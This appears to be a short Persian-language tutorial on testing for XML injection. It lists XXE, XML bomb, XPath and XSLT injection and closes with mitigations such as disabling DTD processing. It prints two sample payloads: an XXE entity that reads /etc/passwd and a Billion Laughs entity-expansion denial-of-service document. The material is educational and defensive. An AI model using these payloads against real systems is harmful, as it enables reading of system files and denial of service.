تست XML Injection

XML Injection چیست؟

XML Injection شامل چندین نوع آسیب‌پذیری است که در پردازش XML رخ می‌دهد. مهم‌ترین آن‌ها XXE (XML External Entity) است.

انواع XML Injection

• XXE (XML External Entity): خواندن فایل‌ها و SSRF
• XML Bomb (Billion Laughs): حمله DoS
• XPATH Injection: دستکاری query‌های XPATH
• XSLT Injection: تزریق در stylesheet

XXE

1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE foo [
3  <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<root>&xxe;</root>

XML Bomb

1<?xml version="1.0"?>
2<!DOCTYPE lolz [
3  <!ENTITY lol "lol">
4  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
5  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
6]>
7<root>&lol3;</root>

راه‌حل

• غیرفعال کردن DTD در پردازشگر XML
• استفاده از JSON به جای XML
• اعتبارسنجی ورودی XML
• استفاده از کتابخانه‌های امن XML